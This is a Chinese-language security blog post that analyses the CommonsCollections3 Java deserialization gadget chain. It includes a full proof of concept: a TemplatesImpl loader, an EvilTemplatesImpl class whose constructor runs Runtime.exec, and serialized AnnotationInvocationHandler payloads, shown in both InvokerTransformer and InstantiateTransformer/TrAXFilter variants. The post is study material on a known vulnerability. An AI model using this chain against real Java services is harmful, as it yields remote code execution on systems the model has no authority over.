Java代码审计-CommonsCollections3链分析
0x00 前言
本来是想写CC2先的,但看了P神的《Java安全漫谈》学了TemplatesImpl这个类,发现确实如P神所说,不用按照CC链从1-11的顺序进行学习的,因为Ysoserial的作者也不是按序号进行编写链的,而是按照当时的需求进行编写,比如时间、JDK版本、利用链的黑名单等等。
前期我们需要一些前置知识:
- TemplatesImpl
- javassist
环境准备
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
pom文件配置:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
</dependencies>前置知识
TemplatesImpl
TemplatesImpl类是用来加载字节码的,字节码又是什么呢?
我们都知道Java代码是不能直接在计算机运行的,只能通过JVM虚拟机运行编译后的class文件,那这个class文件就是所谓的字节码文件。
字节码就是字节码里面的内容,里面存放Java虚拟机执行的指令。
我们可以用文本来打开一个class文件的内容:

- 文件开头的4个字节(“cafe babe”)称之为
魔数,唯有以”cafe babe”开头的class文件方可被虚拟机所接受,这4个字节就是字节码文件的身份识别。 - 0000是编译器jdk版本的次版本号0,0034转化为十进制是52,是主版本号,java的版本号从45开始,除1.0和1.1都是使用45.x外,以后每升一个大版本,版本号加一。也就是说,编译生成该class文件的jdk版本为1.8.0。
我们可以思考Java是不是有相关的类可以直接加载字节码的呢,是有的,就是ClassLoader。
顾名思义,就是字节码加载器。
ClassLoader的处理字节码的流程为(可以去学习一下URLClassLoader,这里不做深入):
loadClass -> findClass -> defineClass
主要作为加载字节码的方法是在defineClass,可以看到这个方法是protected,也就是我们不能直接从外部去直接调用:
protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) throws ClassFormatError { protectionDomain = preDefineClass(name, protectionDomain); String source = defineClassSourceLocation(protectionDomain); Class<?> c = defineClass1(name, b, off, len, protectionDomain, source); postDefineClass(c, protectionDomain); return c; }因为这个问题所以就有了TemplatesImpl的类利用,因为TemplatesImpl类里面重写了defineClass方法:

可以看到defineClass是没有定义任何的作用域的,如果一个方法没有声明类型,那么这个方法的类型为default,可以被外部调用。
javassist
javasist就是一个处理字节码的类库,能够动态的修改class中的字节码。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
这里我们就理解两个关键类就行了:
ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象CtClass:CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
会用到的方法有:
getDefault: 返回默认的ClassPool是单例模式的,一般通过该方法创建我们的ClassPool;get: 根据类路径名获取该类的CtClass对象,用于后续的编辑。toBytecode:把获取到的ClassPool转换为字节码
0x01 InvokerTransformer分析过程
我们来看下利用链:
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletIndex() TemplatesImpl.defineTransletClasses() TemplatesImpl.defineClass()可以先看下POC,跟CC1差不多:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;
public class CC3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可 ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl"); //setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
// ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close();
// 本地测试触发 // System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); }}我们可以看到跟CC1的区别就是在于使用了TemplatesImpl去加载EvilTemplatesImpl字节码,EvilTemplatesImpl的代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} public EvilTemplatesImpl () throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }}为什么要继承AbstractTranslet类,稍后会有分析到,我们先从下面更改的代码开始分析,因为下面的都是跟CC1一样的:
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可 ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());obj.newTransformer();直接new一个TemplatesImpl对象,因为该对象是public的,不需要用到反射。setFieldValue方法是对obj对象的属性进行修改,我们先来分析TemplatesImpl的工作流程:
TemplatesImpl.newTransformer()TemplatesImpl.getTransletIndex()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()先跟下newTransformer方法,我们可以看到这个方法也是Transformer类型的,所以符合我们的利用预期:

继续往下走到getTransletInstance方法,我们可以看到有两个判断条件,如果_name为空的话就不执行下面的代码了,我们最终是要走到defineTransletClasses方法和newInstance方法的,所以我们在设置属性的时候把_name设置了一个值,不为空即可:
setFieldValue(obj, "_name", "HelloTemplatesImpl");
_class为空就往下执行,一直到defineTransletClasses方法,这里也有一个判断条件_bytecodes,这里我们也是设置了我们所要传入的字节码:
setFieldValue(obj, "_bytecodes", new byte[][]{ //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可 ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() });ClassPool是之前说到的第三方的类库javasist,作用是把恶意类EvilTemplatesImpl转化成字节码。_bytecodes不为空就继续往下走,这里其实在反序列化的时候不需要关注,但是如果你把_tfactory的值设置为空你会发现执行不了,就是因为这里:
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });_tfactory的类型是TransformerFactoryImpl,如果_tfactory为空的话,那么这里getExternalExtensionsMap方法就会报错,因为getExternalExtensionsMap是在TransformerFactoryImpl里面的。
我们可以看到_tfactory定义的时候是transient修饰的,代表着序列化的时候不会被保存,那为什么我们反序列化的时候如果把这个值设置为空还是可以正常的执行我们的代码呢?
private transient TransformerFactoryImpl _tfactory = null;原因是他已经帮你想好,TemplatesImpl类重写的反序列化的readObject里面已经new TransformerFactoryImpl给了_tfactory:
private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) { ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException(err.toString()); } }
// We have to read serialized fields first. ObjectInputStream.GetField gf = is.readFields(); _name = (String)gf.get("_name", null); _bytecodes = (byte[][])gf.get("_bytecodes", null); _class = (Class[])gf.get("_class", null); _transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null); _indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); }
_tfactory = new TransformerFactoryImpl(); }再往下走就到了我们熟悉的一部分了,defineClass把字节码生成java对象:

再往下我们可以看到一个会抛出异常的判断:
if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString());}_transletIndex一开始定义的时候就是-1,那么如果小于0的话就会抛出异常导致程序无法正常执行。那么_transletIndex在这里会有赋值,如果判断成立的话那么就不会抛出异常,成立的条件是java对象的父类是要等于ABSTRACT_TRANSLET:
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }那么ABSTRACT_TRANSLET是等于AbstractTranslet类的,所以我之前为什么要在我们的恶意类中继承AbstractTranslet类的原因所在:
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";我们把CC1的transformers数组修改一下就OK了:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };0x02 InstantiateTransformer分析过程
我们知道真正的CC3的链是使用InstantiateTransformer进行触发的,是因为InvokerTransformer已经在SerialKiller的黑名单中,而且和InstantiateTransformer的利用方式也不一样。
InstantiateTransformer的transform方法,可以看出是获取到类的构造方法,然后进行实例化:
public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var3) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var4) { throw new FunctorException("InstantiateTransformer: InstantiationException", var4); } catch (IllegalAccessException var5) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var5); } catch (InvocationTargetException var6) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var6); }如果是InvokerTransformer的transform方法,是直接调用已实例化对象的方法:
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); }那么把InvokerTransformer替换成InstantiateTransformer类,就要想到那个类中的构造方法会利用到newTransformer方法,我们可以使用find Usage:

我们看到只有TrAXFilter类的构造方法里面有利用到newTransformer方法,所以cc3的链才会采用到TrAXFilter类。

那么我们最终构造的Transformer数组如下:
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj }) };0x03 总结
CC3的链大家可能还会有疑问,比如用的是LazyMap,其实都差不多,只是说LazyMap用的是动态代理的原理去调用get方法。
不过要主要的是,CC1和CC3都是用AnnotationInvocationHandler的反序列化,也就是说在高版本的JDK上是不可用的。
0x04 参考
《Java安全漫谈 - 13.Java中动态加载字节码的那些方法》
《Java安全漫谈 - 14.为什么需要CommonsCollections3》